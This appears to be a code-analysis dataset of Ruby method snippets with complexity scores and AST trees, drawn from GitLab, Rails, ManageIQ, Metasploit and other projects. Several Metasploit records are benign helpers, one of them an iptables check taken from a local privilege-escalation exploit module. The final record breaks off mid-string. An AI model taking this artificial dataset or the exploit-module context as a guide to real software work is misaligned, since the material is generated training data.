{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/search_controller.rb","start_line":335,"raw_source":"def filter_params\n    params.permit(:confidential, :state, language: [])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"5b836c51-c260-43a6-a5fd-3dc30876bd75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware/query_analyzer_spec.rb","start_line":18,"raw_source":"def do_queries\n          Project.transaction do\n            Project.where(id: -1).update_all(id: -1)\n            ::Ci::Pipeline.where(id: -1).update_all(id: -1)\n          end\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"do_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]}]}]}","id":"57511f8b-6a76-4090-b068-f87b48a6cf2c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":471,"raw_source":"def test_array_parameter\n        url = W.new.url_for(only_path: true, controller: \"c\", action: \"a\", query: [\"Bob\", \"prof\"])\n        params = extract_params(url)\n        assert_equal({ \"query[]\" => \"Bob\" }.to_query, params[0])\n        assert_equal({ \"query[]\" => \"prof\" }.to_query, params[1])\n      end","complexity_score":12.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_array_parameter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"W\"]},\"new\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Bob\"]},{\"type\":\"str\",\"children\":[\"prof\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[null,\"extract_params\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"query[]\"]},{\"type\":\"str\",\"children\":[\"Bob\"]}]}]},\"to_query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"query[]\"]},{\"type\":\"str\",\"children\":[\"prof\"]}]}]},\"to_query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"788e1caf-a510-439d-89f9-340f8ad5aa1b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/system.rb","start_line":194,"raw_source":"def get_cpu_info\n          info = {}\n          orig = read_file('/proc/cpuinfo').to_s\n          cpuinfo = orig.split(\"\\n\\n\")[0]\n          # This is probably a more platform independent way to parse the results (compared to splitting and assigning preset indices to values)\n          cpuinfo.split(\"\\n\").each do |l|\n            info[:speed_mhz] = l.split(': ')[1].to_i if l.include? 'cpu MHz'\n            info[:product] = l.split(': ')[1] if l.include? 'model name'\n            info[:vendor] = l.split(': ')[1] if l.include? 'vendor_id'\n          end\n          info[:cores] = orig.split(\"\\n\\n\").size\n          info\n        rescue StandardError\n          raise 'Could not get CPU information'\n        end","complexity_score":44.23,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cpu_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"orig\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/cpuinfo\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cpuinfo\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cpuinfo\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"include?\",{\"type\":\"str\",\"children\":[\"cpu MHz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"speed_mhz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"split\",{\"type\":\"str\",\"children\":[\": \"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"include?\",{\"type\":\"str\",\"children\":[\"model name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"product\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"split\",{\"type\":\"str\",\"children\":[\": \"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"include?\",{\"type\":\"str\",\"children\":[\"vendor_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vendor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"split\",{\"type\":\"str\",\"children\":[\": \"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cores\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},\"size\"]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not get CPU information\"]}]}]},null]}]}","id":"d02912b0-93e0-4180-93d7-cf52604b993e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/terminal_to_html.rb","start_line":11,"raw_source":"def self.wrap_html_container(rendered)\n    stylesheet = File.read(File.join(Bundler.load.specs[\"terminal\"].first.full_gem_path, \"/app/assets/stylesheets/terminal.css\"))\n    <<~EOHTML\n      <div>\n      <style scoped>\n      #{stylesheet.chomp}\n      </style>\n      <div class='term-container'>\n      #{rendered}\n      </div>\n      </div>\n    EOHTML\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"wrap_html_container\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rendered\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stylesheet\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"load\"]},\"specs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"terminal\"]}]},\"first\"]},\"full_gem_path\"]},{\"type\":\"str\",\"children\":[\"/app/assets/stylesheets/terminal.css\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<div>\\n\"]},{\"type\":\"str\",\"children\":[\"<style scoped>\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stylesheet\"]},\"chomp\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"</style>\\n\"]},{\"type\":\"str\",\"children\":[\"<div class='term-container'>\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rendered\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"</div>\\n\"]},{\"type\":\"str\",\"children\":[\"</div>\\n\"]}]}]}]}","id":"146dbe61-7c97-4253-bc25-8dee6a9b2c4f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/right_sizing.rb","start_line":193,"raw_source":"def base_change(recommended, actual)\n    return if actual.nil? || recommended.nil?\n\n    actual - recommended\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"base_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recommended\"]},{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recommended\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"recommended\"]}]}]}]}","id":"8baf60e4-82c7-4287-9879-375cc65cb5d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb","start_line":78,"raw_source":"def iptables_loaded?()\n      # user@ubuntu:~$ grep ip_tables /proc/modules\n      # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000\n      # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000\n      vprint_status('Checking if ip_tables is loaded in kernel')\n      if target.name == \"Ubuntu\"\n        iptables = read_file('/proc/modules').to_s\n        if iptables.include?('ip_tables')\n          vprint_good('ip_tables.ko is loaded')\n        else\n          print_error('ip_tables.ko is not loaded.  root needs to run iptables -L or similar command')\n        end\n        return iptables.include?('ip_tables')\n      elsif target.name == \"Fedora\"\n        iptables = read_file('/proc/modules').to_s\n        if iptables.include?('iptable_raw')\n          vprint_good('iptable_raw is loaded')\n        else\n          print_error('iptable_raw is not loaded.  root needs to run iptables -L or similar command')\n        end\n        return iptables.include?('iptable_raw')\n      else\n        return false\n      end\n    end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"iptables_loaded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking if ip_tables is loaded in kernel\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Ubuntu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iptables\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/modules\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iptables\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ip_tables\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"ip_tables.ko is loaded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"ip_tables.ko is not loaded.  root needs to run iptables -L or similar command\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iptables\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ip_tables\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Fedora\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"iptables\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/proc/modules\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iptables\"]},\"include?\",{\"type\":\"str\",\"children\":[\"iptable_raw\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"iptable_raw is loaded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"iptable_raw is not loaded.  root needs to run iptables -L or similar command\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iptables\"]},\"include?\",{\"type\":\"str\",\"children\":[\"iptable_raw\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"b8fee6fb-a55b-4bf8-90b3-99590a7f726b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sessions/cache_store.rb","start_line":31,"raw_source":"def generate_sid\n        delimiter = session_cookie_token_prefix.empty? ? '' : DELIMITER\n        Rack::Session::SessionId.new(session_cookie_token_prefix + delimiter + super.public_id)\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_sid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delimiter\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_cookie_token_prefix\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"const\",\"children\":[null,\"DELIMITER\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Session\"]},\"SessionId\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_cookie_token_prefix\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"delimiter\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"public_id\"]}]}]}]}]}","id":"f03f8130-fd86-42e4-a5d9-4c455e062273"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":616,"raw_source":"def complete(id, opt, icase = false, *pat, &block)\n      __send__(id).complete(opt, icase, *pat, &block)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"complete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"optarg\",\"children\":[\"icase\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"restarg\",\"children\":[\"pat\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__send__\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"complete\",{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"lvar\",\"children\":[\"icase\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pat\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"f31a47c3-264d-42d1-8c09-2000acbba450"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/site_serializer.rb","start_line":251,"raw_source":"def top_tags\n    @top_tags ||= Tag.top_tags(guardian: scope)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"top_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@top_tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"top_tags\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]}]}]}]}]}","id":"23a9fb30-75ea-4c68-9a74-710f2ea4e791"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/record_identifier_test.rb","start_line":9,"raw_source":"def setup\n    @klass  = Comment\n    @record = @klass.new\n    @singular = \"comment\"\n    @plural = \"comments\"\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@klass\",{\"type\":\"const\",\"children\":[null,\"Comment\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@singular\",{\"type\":\"str\",\"children\":[\"comment\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@plural\",{\"type\":\"str\",\"children\":[\"comments\"]}]}]}]}","id":"5f25691a-1e4e-423f-be53-c5d16f7371f2"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_obsoletion/removed_cop.rb","start_line":13,"raw_source":"def initialize(config, old_name, metadata)\n        super(config, old_name)\n        @metadata = metadata.is_a?(Hash) ? metadata : {}\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]},{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"old_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@metadata\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"lvar\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"1043d098-fc6a-4447-9db1-8d604e94a875"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":134,"raw_source":"def test_form_tag; skip\n    def @base.protect_against_forgery?; false; end\n    rendered = render(<<HAML, :action_view)\n= form_tag 'foo' do\n %p bar\n %strong baz\nHAML\n   fragment = Nokogiri::HTML.fragment(rendered)\n   assert_equal 'foo', fragment.css('form').first.attributes['action'].to_s\n   assert_equal 'bar', fragment.css('form p').first.text.strip\n   assert_equal 'baz', fragment.css('form strong').first.text.strip\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"defs\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"protect_against_forgery?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rendered\",{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"= form_tag 'foo' do\\n\"]},{\"type\":\"str\",\"children\":[\" %p bar\\n\"]},{\"type\":\"str\",\"children\":[\" %strong baz\\n\"]}]},{\"type\":\"sym\",\"children\":[\"action_view\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"fragment\",{\"type\":\"lvar\",\"children\":[\"rendered\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},\"css\",{\"type\":\"str\",\"children\":[\"form\"]}]},\"first\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},\"css\",{\"type\":\"str\",\"children\":[\"form p\"]}]},\"first\"]},\"text\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"baz\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},\"css\",{\"type\":\"str\",\"children\":[\"form strong\"]}]},\"first\"]},\"text\"]},\"strip\"]}]}]}]}","id":"3153d522-e2d0-4f7e-b76d-d1cacf0e9006"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deployment.rb","start_line":370,"raw_source":"def link_merge_requests(relation)\n    # NOTE: relation.select will perform column deduplication,\n    # when id == environment_id it will outputs 2 columns instead of 3\n    # i.e.:\n    # MergeRequest.select(1, 2).to_sql #=> SELECT 1, 2 FROM \"merge_requests\"\n    # MergeRequest.select(1, 1).to_sql #=> SELECT 1 FROM \"merge_requests\"\n    select = relation.select(\n      'merge_requests.id',\n      \"#{id} as deployment_id\",\n      \"#{environment_id} as environment_id\"\n    ).to_sql\n\n    # We don't use `ApplicationRecord.legacy_bulk_insert` here so that we don't need to\n    # first pluck lots of IDs into memory.\n    #\n    # We also ignore any duplicates so this method can be called multiple times\n    # for the same deployment, only inserting any missing merge requests.\n    DeploymentMergeRequest.connection.execute(<<~SQL)\n      INSERT INTO #{DeploymentMergeRequest.table_name}\n      (merge_request_id, deployment_id, environment_id)\n      #{select}\n      ON CONFLICT DO NOTHING\n    SQL\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"link_merge_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"select\",{\"type\":\"str\",\"children\":[\"merge_requests.id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\" as deployment_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_id\"]}]},{\"type\":\"str\",\"children\":[\" as environment_id\"]}]}]},\"to_sql\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeploymentMergeRequest\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeploymentMergeRequest\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"(merge_request_id, deployment_id, environment_id)\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT DO NOTHING\\n\"]}]}]}]}]}","id":"ace99d4a-5878-42d2-9475-19b0246bbe60"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/kerberos/inspect_ticket.rb","start_line":47,"raw_source":"def run\n    enc_key = get_enc_key\n    print_contents(datastore['TICKET_PATH'], key: enc_key)\n  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e\n    fail_with(Msf::Exploit::Failure::Unknown, \"Could not print ticket contents (#{e})\")\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enc_key\",{\"type\":\"send\",\"children\":[null,\"get_enc_key\"]}]},{\"type\":\"send\",\"children\":[null,\"print_contents\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TICKET_PATH\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"enc_key\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not print ticket contents 